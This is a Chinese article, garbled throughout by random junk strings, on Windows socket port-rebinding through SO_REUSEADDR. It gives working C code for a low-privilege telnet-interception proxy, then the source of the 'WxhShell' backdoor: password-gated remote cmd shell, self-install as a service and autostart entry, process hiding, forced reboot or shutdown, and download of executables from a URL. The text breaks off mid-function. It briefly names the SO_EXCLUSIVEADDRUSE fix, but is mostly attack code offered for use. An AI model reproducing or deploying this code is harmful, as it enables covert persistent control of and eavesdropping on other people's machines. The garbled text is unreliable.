在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ENs&RZ; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
hhc,uJ">! 7~.9=I'A saddr.sin_family = AF_INET;
V {ddr:]4 u\;C;I-? ' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3;]H1
1 8'io$6d= bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hMD|#A-< SoSb+\*@h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
KB(8f* M%P:n/j 这意味着什么?意味着可以进行如下的攻击:
)1`0PJoHE w_K1]<Q* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.p"
xVfi6 $B5aje}i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
r52gn(, 6mxfLlZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
00~mOK;1 9EibIOD^/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
I:1C8*/ U8n V[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M-Y_ Wb3 !wh8'X* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=MDysb&: ],Do6
@M- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
P{lB50 sWnLEw #include
;+hH #include
v;D~Pa #include
YO}<Ytx #include
=$JET<( DWORD WINAPI ClientThread(LPVOID lpParam);
s
R/F" int main()
')<hON44EX {
_
*Pf WORD wVersionRequested;
7n<::k\lb DWORD ret;
r0% D58 WSADATA wsaData;
*#+An<iT ; BOOL val;
z[qDkL SOCKADDR_IN saddr;
|#R7wnE[k~ SOCKADDR_IN scaddr;
^9:Z7 >Z int err;
B>P{A7Q SOCKET s;
}y gD3:vN7 SOCKET sc;
^RIl int caddsize;
0[W:d=C`a HANDLE mt;
U26}gT) DWORD tid;
5vnrA'BhBU wVersionRequested = MAKEWORD( 2, 2 );
.V8Lauz8 err = WSAStartup( wVersionRequested, &wsaData );
z 1X` o if ( err != 0 ) {
<*cikXS printf("error!WSAStartup failed!\n");
LG#t<5y~ return -1;
{9.|2%a }
suDQ~\n saddr.sin_family = AF_INET;
hf&9uHN%7m V+9 MoT?8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
CB}2j SSMHoJGm saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J)p
l|I saddr.sin_port = htons(23);
@_}P-h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j3E7zRm] \ {
LyFN.2qw printf("error!socket failed!\n");
kc`Tdn return -1;
1tFNM[R
}
:&."ttf= val = TRUE;
tf`^v6m%] //SO_REUSEADDR选项就是可以实现端口重绑定的
@GW#&\yM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
g}(L;fy>7 {
yEE*B: printf("error!setsockopt failed!\n");
}b.%Im<3R return -1;
v"Es*-{B }
M[,@{u/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
g{&ui.ml& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^.QzQ1=D //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D2~*&'4y XVZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
uJ v-4H {
{&1/V ret=GetLastError();
6i3$C W printf("error!bind failed!\n");
[Y|t]^M return -1;
Z4
=GMXj }
JY(WK@ listen(s,2);
2`=7_v while(1)
_KAQ}G3 {
^s"R$?;h caddsize = sizeof(scaddr);
;>7De8v@@ //接受连接请求
I51@QJX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
NqWdRU if(sc!=INVALID_SOCKET)
nZYBE030 {
/f;~X"! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
*b\t#meS& if(mt==NULL)
I9ep`X6Y {
&gx%b*;`L0 printf("Thread Creat Failed!\n");
Q>i^s@0 break;
['iPl/v0 }
k~w*W X' }
]~3V}z,T* CloseHandle(mt);
-6B4sZpzD }
h(EhkCf closesocket(s);
%._.~V WSACleanup();
H"WprHe return 0;
c9h6C }
XlR@pr6tw DWORD WINAPI ClientThread(LPVOID lpParam)
o!A+&{ {
E hMNap}5" SOCKET ss = (SOCKET)lpParam;
z-)O9PV SOCKET sc;
Lw>N rY(Y unsigned char buf[4096];
[Z$[rOF SOCKADDR_IN saddr;
#S"nF@ long num;
o&$A]ph8X DWORD val;
?.BC#S)q1 DWORD ret;
p0vVkdd //如果是隐藏端口应用的话,可以在此处加一些判断
c5GuM|*7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:"/d|i`T saddr.sin_family = AF_INET;
;NITc saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9'bwWBf7 saddr.sin_port = htons(23);
R8'RA%O9J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ds:'Lb {
_I5Y"o printf("error!socket failed!\n");
P/_['7 return -1;
j&qub_j"xX }
}*]-jWt1J\ val = 100;
gRcQt : if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Xc&9Glf {
)+9Uoe~6 ret = GetLastError();
NTs aW}g return -1;
[/8%3 }
e$rZ5X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(n_/`dP {
I-l_TpM) ret = GetLastError();
kE1TP]| return -1;
}k.Z~1y }
ncT&Gr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'6%2.[o {
`e}B2;$A3 printf("error!socket connect failed!\n");
X!EP$! closesocket(sc);
"3Y0`&:D closesocket(ss);
:^h$AWR^f return -1;
-zfR)(zG }
LZxNAua while(1)
4BpZJ~(p {
"fOV^B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6(-N FnT //如果是嗅探内容的话,可以再此处进行内容分析和记录
K[zVa //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bV3|6]k^ num = recv(ss,buf,4096,0);
Pa:|_IXA if(num>0)
FfT`;j send(sc,buf,num,0);
Wmv#:U else if(num==0)
SXP]%{@R/ break;
+ami?#Sz*; num = recv(sc,buf,4096,0);
_6vWF if(num>0)
!R`{ TbN send(ss,buf,num,0);
bW(0Ng else if(num==0)
=Nr-iae# break;
>Cq<@$I2EB }
mj7#&r,1l closesocket(ss);
G$('-3@i`w closesocket(sc);
PXNuL& return 0 ;
?(_08O }
gL/9/b4 1EX;MW-p<T E}Uc7G ==========================================================
*MW\^PR? >uEzw4w 下边附上一个代码,,WXhSHELL
IO<6 ="l/ klYV ==========================================================
h^P#{W!e\ )Hr`MB #include "stdafx.h"
`r 4fm`< XC#oB~K' #include <stdio.h>
aV0"~5 #include <string.h>
]\HvK CN} #include <windows.h>
/&JT~M #include <winsock2.h>
"qy,*{~ #include <winsvc.h>
+k R4E23: #include <urlmon.h>
qwAT>4 &m;*<}X #pragma comment (lib, "Ws2_32.lib")
4Ftu #pragma comment (lib, "urlmon.lib")
l,aay-E V0 a3<6@4 #define MAX_USER 100 // 最大客户端连接数
SOaoo^,O #define BUF_SOCK 200 // sock buffer
<qt|d& #define KEY_BUFF 255 // 输入 buffer
+R75v ) gf\oC> N #define REBOOT 0 // 重启
+R:(_:7 #define SHUTDOWN 1 // 关机
}"%N4(Kd * kh tJ]= #define DEF_PORT 5000 // 监听端口
_
jlRlt P@~yx#G #define REG_LEN 16 // 注册表键长度
7tCw*t$ #define SVC_LEN 80 // NT服务名长度
goWuw}? \cM2k- // 从dll定义API
#fM`}Ij.A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
P16~Qj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
VuZr:-K/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-yNlyHv9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Z0r'S]fe yEy6]f+>+ // wxhshell配置信息
W[r>.7>?h struct WSCFG {
'$+ogBS
int ws_port; // 监听端口
P[fq8lDA char ws_passstr[REG_LEN]; // 口令
Ab;.5O$y int ws_autoins; // 安装标记, 1=yes 0=no
t sRdvFFq char ws_regname[REG_LEN]; // 注册表键名
A^S gI-y| char ws_svcname[REG_LEN]; // 服务名
)D%~`,#pQ char ws_svcdisp[SVC_LEN]; // 服务显示名
@IZnFHN char ws_svcdesc[SVC_LEN]; // 服务描述信息
:.`2^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
u9p$YJ int ws_downexe; // 下载执行标记, 1=yes 0=no
%A0/1{( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ql~J8G9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u_Z+;{]Pj j B{8u&kz) };
>=w)x,0yX 2MK-5Kg // default Wxhshell configuration
dlnX_+((KC struct WSCFG wscfg={DEF_PORT,
dqcL]e "xuhuanlingzhe",
@>7%qS 1,
`">= "Wxhshell",
V0Hj8}l;M "Wxhshell",
%B?=q@!QWn "WxhShell Service",
iH'p>s5L "Wrsky Windows CmdShell Service",
hgE71H\s "Please Input Your Password: ",
AbOf6%Env 1,
RPbZ(. "
http://www.wrsky.com/wxhshell.exe",
+aAc9'k "Wxhshell.exe"
I5W~g.<6 };
;5AcFB Vi|#@tC' // 消息定义模块
?Z} &EH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
EKN~H$. char *msg_ws_prompt="\n\r? for help\n\r#>";
HjwE+: w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b7ZSPXV char *msg_ws_ext="\n\rExit.";
NwfVL4Xg char *msg_ws_end="\n\rQuit.";
sa8Vvzvo. char *msg_ws_boot="\n\rReboot...";
pQQH)`J|t
char *msg_ws_poff="\n\rShutdown...";
DVeE1Q char *msg_ws_down="\n\rSave to ";
2B`JGFcdcB iU:cW=W|M\ char *msg_ws_err="\n\rErr!";
!bP@n char *msg_ws_ok="\n\rOK!";
{K!)Ss TkF[x%o char ExeFile[MAX_PATH];
^=*;X;7 int nUser = 0;
l}P=/#</T HANDLE handles[MAX_USER];
u$`a7Lp,n int OsIsNt;
lk =<A"^S !PE]C!*gv& SERVICE_STATUS serviceStatus;
EiaW1Cs SERVICE_STATUS_HANDLE hServiceStatusHandle;
wdoR%b{M dgP3@`YS // 函数声明
.X;K%J2 int Install(void);
"uf%iJ:% int Uninstall(void);
*=xr-!MEk int DownloadFile(char *sURL, SOCKET wsh);
_','9| int Boot(int flag);
c1gQ cqF void HideProc(void);
DW3G int GetOsVer(void);
og>uj>H& int Wxhshell(SOCKET wsl);
4I(Xy]wm void TalkWithClient(void *cs);
O&hTNIfi int CmdShell(SOCKET sock);
e~(5%CO>#j int StartFromService(void);
-7|H}!DFT int StartWxhshell(LPSTR lpCmdLine);
$Z>'Jp o;RI*I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.eC1qWZJpd VOID WINAPI NTServiceHandler( DWORD fdwControl );
UL9n-M= ,]/X\t5]D // 数据结构和表定义
TJ*T:?>e SERVICE_TABLE_ENTRY DispatchTable[] =
\^1E4C\": {
. 'yCw#f {wscfg.ws_svcname, NTServiceMain},
$`'/+x"% {NULL, NULL}
^/k*h J{ };
:2)/FPL6 d0 /#nz // 自我安装
ll?X@S int Install(void)
(Awm9|.{+ {
G]aOHJ:. char svExeFile[MAX_PATH];
t3^&;&[ HKEY key;
U`s{Jm strcpy(svExeFile,ExeFile);
V^~:F Xlt|nX~#; // 如果是win9x系统,修改注册表设为自启动
>KKMcTOYY if(!OsIsNt) {
!1b;F*H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)WFr</z5bA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uvS)8-o&F RegCloseKey(key);
E<*xx#p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S`]k>'
l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YA5g';$H* RegCloseKey(key);
[a<SDMR return 0;
_Bj":rzY }
wI "U7vr }
??/
'kmd }
{(?4!rh else {
pmYHUj
# /_ajaz% // 如果是NT以上系统,安装为系统服务
S0W||#Pr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ef{Vp;] if (schSCManager!=0)
UR5`ue ; {
;xn0;V'= SC_HANDLE schService = CreateService
J4U1t2@)9 (
[opGZ`>)j" schSCManager,
Qe(:|q_ wscfg.ws_svcname,
ku
M$UYTTX wscfg.ws_svcdisp,
0Wp|1)ljA SERVICE_ALL_ACCESS,
mRK>U$v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@9|hMo SERVICE_AUTO_START,
]
@fk] ]R SERVICE_ERROR_NORMAL,
U,1-A=Og{o svExeFile,
={Qi0Pvt NULL,
|
VDV<g5h NULL,
IO:G1;[/2L NULL,
FML(4BY, NULL,
w@fi{H(R NULL
( &x['IR );
.6 ?U@2 if (schService!=0)
LjHVJSC {
Yu2Bkq+ CloseServiceHandle(schService);
Ny)X+2Ae CloseServiceHandle(schSCManager);
C+&l<
fM& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#gw]'&{8D strcat(svExeFile,wscfg.ws_svcname);
/;
85i6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
IV)j1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
jmW7)jT8: RegCloseKey(key);
kB%JNMF{A return 0;
y1L,0 ] }
7"D.L-H }
A\5L
7 CloseServiceHandle(schSCManager);
C$)onk }
,~W|]/b<q }
x'R`.
!g3 Q#zmf24W return 1;
_v]MsT-q }
e\75:oQ m&yJzMW| // 自我卸载
uY'HT|@:{ int Uninstall(void)
^K@C"j?M/ {
@U}1EC{A HKEY key;
H}
g{Cr"Ex @Do= k if(!OsIsNt) {
DM>eVS3} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
VVOd]2{ RegDeleteValue(key,wscfg.ws_regname);
3sZ\0P} RegCloseKey(key);
,s;UfF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5l*&>C[(i RegDeleteValue(key,wscfg.ws_regname);
=_u4=4 RegCloseKey(key);
3=ymm^ return 0;
u> 7=AlWF- }
9'q*:&qq }
<Q?F?.^e }
UFuX@Lu0 else {
$iz|\m &@YmA1Yu)E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3?
+Hd if (schSCManager!=0)
{Y9q[D'g . {
7D5]G-}x. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
H<N,%G if (schService!=0)
i
K? w6 {
b;UJ 88 if(DeleteService(schService)!=0) {
cYt!n5w~W CloseServiceHandle(schService);
$E.I84UfX CloseServiceHandle(schSCManager);
N87B8rDl return 0;
?FcAXA/J{ }
icK/], CloseServiceHandle(schService);
uGlUc<B\* }
q'82qY CloseServiceHandle(schSCManager);
HHsmLo c4 }
U4B(#2' }
wD)XjX ~e@z;]CiY return 1;
TRq6NB }
"9e\c;a v_-dx // 从指定url下载文件
c0u^zH< int DownloadFile(char *sURL, SOCKET wsh)
DR<9#RRD {
G'A R`"F HRESULT hr;
0"bcdG<} char seps[]= "/";
b SU~XGPB char *token;
=C.$
UX char *file;
7Jho}5J char myURL[MAX_PATH];
~Jz6O U*z char myFILE[MAX_PATH];
ixD)VcD-f S^ \Vgi( strcpy(myURL,sURL);
/t"3!Z?BOv token=strtok(myURL,seps);
_a T5jR= while(token!=NULL)
E~oOKQ5W {
pIX`MlBdF file=token;
p.?rey<% token=strtok(NULL,seps);
FJP-y5 }
s-T\r"d=j 0:Ol7 GetCurrentDirectory(MAX_PATH,myFILE);
)P|),S,;Z strcat(myFILE, "\\");
[u*5z.^ strcat(myFILE, file);
.0]<k,JZZ send(wsh,myFILE,strlen(myFILE),0);
"a U
aotx send(wsh,"...",3,0);
Y/zj[> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
W:L
AP
R if(hr==S_OK)
WI-1)1t return 0;
'1s0D] else
6V01F8&w return 1;
YcpoL@ab ;;N9>M?b }
OpYY{f j eP // 系统电源模块
g7W" int Boot(int flag)
|8tilOqI {
I&W=Q[m HANDLE hToken;
hx]?&zT@ TOKEN_PRIVILEGES tkp;
N[
Og43Y A2jUmK.& if(OsIsNt) {
q5)O%l ! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
fmDCP kj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
PxDh7{ tkp.PrivilegeCount = 1;
]3.;PWa: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
x+@rg];m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
N5b!.B x-w if(flag==REBOOT) {
HCC#j9UN6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
iqQD{SRt{ return 0;
v #j$; }
&FN.:_E else {
ckE-",G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?+}_1x` return 0;
UrEs4R1# }
*YuF0Yt }
9m~p0 ILh else {
*wB1,U{ if(flag==REBOOT) {
5taT5?n2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
e h?zNu2= return 0;
P?of<i2E }
ExL0?FemWV else {
L>4"( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i6Emhji return 0;
LuvY<~u }
(V67`Z ) }
.jjG(L JYbL?N return 1;
tG22#F` }
[%1CRk %2V? ,zY@ // win9x进程隐藏模块
K^<BW(s void HideProc(void)
+*/Zu`kzX {
UhQj
Qaa~ UJ')I`zuI HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
A@{PZ if ( hKernel != NULL )
PP33i@G {
@YTaSz$L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9 X`Sm}i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fN1-d&T FreeLibrary(hKernel);
LIF7/$,0 }
)W
_v:?A9 3K0A)W/YEs return;
OU
$#5 }
ud@%5d <&g,Nc'5C // 获取操作系统版本
PmEsN&YP] int GetOsVer(void)
4yA+h2 {
6)
[H?Q OSVERSIONINFO winfo;
XrGglBIV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
V#gK$uv GetVersionEx(&winfo);
gu.}M:u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
v\%HPMlh return 1;
@>2i+)=E5 else
hH8oyIC return 0;
<
!C)x }
['tY4$L( SP_75BJ // 客户端句柄模块
R=2FNP int Wxhshell(SOCKET wsl)
!@*7e:l {
`%"\@< SOCKET wsh;
#r~# I}U struct sockaddr_in client;
(2E\p DWORD myID;
">,|V-H yg=q;Z>[~ while(nUser<MAX_USER)
9`X\6s {
#rQ2gx4 int nSize=sizeof(client);
ZdWm:(nkU wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T<Z &kYU:R if(wsh==INVALID_SOCKET) return 1;
fW1CFRHH :vQrOn18p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
:zke %Yx if(handles[nUser]==0)
5 ,B_u%bb closesocket(wsh);
i^Y+?Sx else
CXx*_@}MU nUser++;
A>;bHf@ }
:g=qz~2Xk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
!6O(-S2A .glA
gt return 0;
;)z:fToh }
Y0dEH^I x,@B(9No // 关闭 socket
Q%f^)HZGR void CloseIt(SOCKET wsh)
nuMD!qu!nZ {
g63(E,;;J closesocket(wsh);
/cQueUME` nUser--;
_P 3G ExitThread(0);
B:S>wFE(. }
i0kak`x0 }t=!(GOb} // 客户端请求句柄
}"P|`"WW void TalkWithClient(void *cs)
pis`$_kmwV {
1N#|
}ad
}Gm>`cw- SOCKET wsh=(SOCKET)cs;
S8wLmd> char pwd[SVC_LEN];
N&+x+;Kx char cmd[KEY_BUFF];
$)ijN^hV char chr[1];
U175{N%3 int i,j;
c&?m>2^6 /}fHt^2H while (nUser < MAX_USER) {
8hz^%vm /hH if(wscfg.ws_passstr) {
lH x^D;m6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RYQR(v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SpLzm A //ZeroMemory(pwd,KEY_BUFF);
rv^@, 8vq i=0;
n&;85IF1 while(i<SVC_LEN) {
TA`1U;c{n ~"&|W'he[ // 设置超时
(ybI\UI fd_set FdRead;
WwBOM~/`2 struct timeval TimeOut;
;!mzyb* FD_ZERO(&FdRead);
L:pYn_ FD_SET(wsh,&FdRead);
]7F=u!/`<C TimeOut.tv_sec=8;
Ng2@z<>. TimeOut.tv_usec=0;
%Ycy{` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qn<|-hA* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
R'bTN|Cq +\c5]` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k}kQI~S9 pwd
=chr[0]; ?FeYN+qR
if(chr[0]==0xd || chr[0]==0xa) { G%AbC"
pwd=0; \378rQU
break; 0w\zLU
} 7Oa#c<2]
i++; Pg0x/X{t
} mzaWST]
vv3*
j&I
// 如果是非法用户,关闭 socket 0d"[l@UU0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &0OG*}gi
} a LroD$#
mPtZO*Fc
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EyD=q! ZVZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q77;ZPfs8
jk; clwyz/
while(1) { +,TRfP
Fb
85 |OGtt
ZeroMemory(cmd,KEY_BUFF); 8>2.UrC
j9x<Y]
// 自动支持客户端 telnet标准 h5{'Q$Erl
j=0; 1MP~dRZ$
while(j<KEY_BUFF) { xd q?/^E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zl>nSndRE
cmd[j]=chr[0]; !*F1q|R
if(chr[0]==0xa || chr[0]==0xd) { W#4 7h7M
cmd[j]=0; @; zl
break; w;[NH/A^a
} [fya)}
j++; @Q
]=\N:
} 7 S#J>*
UqFO|r"M
// 下载文件 55nlg>j
if(strstr(cmd,"http://")) { B4c]}r+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |"X*@s\'
if(DownloadFile(cmd,wsh)) xaq-.IQAM$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8rnwXPBN
else =r?hgGWe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |C;=-|
} Z58X5"
else { (Ft+uuG
(Du@ S
switch(cmd[0]) { Zw
26
IXMop7~
// 帮助 ITE{@1
case '?': { LvH4{B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =\&;Fi]
break; =V,mtT
} DbBcQ%
// 安装 a?I=
!js
case 'i': { b(eNmu
if(Install()) iTBx\u%{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=@IzmA
else \+oQd=K@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $B2J
T9
break; sQUM~HD\a
} ="1Ind@w!
// 卸载 GfxZ'VIn
case 'r': { fa
jGZyd0:
if(Uninstall()) tzWSA-Li
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .;y.]Z/;
else Z,
zWuE3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aD<A.Lhy
break; QUwd [
} y|C(X
// 显示 wxhshell 所在路径 qTRsZz@
case 'p': { ,8S/t+H
char svExeFile[MAX_PATH]; -/wtI
strcpy(svExeFile,"\n\r"); tVYF{3BhA
strcat(svExeFile,ExeFile); gD-d29pQ
send(wsh,svExeFile,strlen(svExeFile),0); .9/hHCp
break; R$h<<v)%
} 7X`g,b!
// 重启 )!th7sH
case 'b': { 0cv{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g+8OekzB5
if(Boot(REBOOT)) du
$:jN\}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "(3[+W{|
else { Q,,e+exbb5
closesocket(wsh); I13y6= d
ExitThread(0); bQzZy5,
} xeg/A}yE
break; e@L=LW>
} @+&LYy72
// 关机 x77*c._3v
case 'd': { WA<v9#m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \#8D>i?m
if(Boot(SHUTDOWN)) sNbxI|B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JinUV6cr
else { \0^Kram>
closesocket(wsh); $P >
ExitThread(0); A6
} h/QXPdV
break; !4ocZmj\
} wm+};L&_
// 获取shell -mbt4w
case 's': { w1FcB$
CmdShell(wsh); +r
closesocket(wsh); SpIv#?
ExitThread(0); <v"R.<
break; z{%<<pZ
} k90YV(
// 退出 W-$Z(Z
XL
case 'x': { ")1:F>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *l(7D(#
CloseIt(wsh); WJ]T\DI
break; *[Imn\hu
} `Y0%cXi3
// 离开 R)?*N@.s
case 'q': { ,5P0S0*{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [CTnXb
closesocket(wsh); /m!BY}4W
WSACleanup(); #JqB ;'\
exit(1); <X#C)-.
break; ^7`BP%6
} [>vLf2OID
} v1#otrf
} ,X?{07gH
IY1//9
// 提示信息 8$]1M,$r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j}#w)M
} Q8$}@iA[
} Ex.yU{|c
XMCXQs&
return; SjK
} ,Y@Gyx!4
4XL^D~V
// shell模块句柄 oe ~'o'
int CmdShell(SOCKET sock) }t!Gey
{ HRpte=`q
STARTUPINFO si; $o!zUH~'v
ZeroMemory(&si,sizeof(si)); Yz9owe8}[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !@5 9)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [XN={
PROCESS_INFORMATION ProcessInfo; NYhB'C2
char cmdline[]="cmd"; RV1coC.g4x
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 44J]I\+
return 0; Mg+2.
8%
} M.JA.I@XC
i[i4h"$0
// 自身启动模式 8u"U1
int StartFromService(void) 6u?>M9
{ E[OJ+ ;c
typedef struct 1Te%F+7
{ !OZy7
DWORD ExitStatus; GWGSd\z
DWORD PebBaseAddress; 2V]UJ<
DWORD AffinityMask; #j;^\rSv-
DWORD BasePriority; &Hrj3E
ULONG UniqueProcessId; eB2a-,
ULONG InheritedFromUniqueProcessId; %q"%AauJR
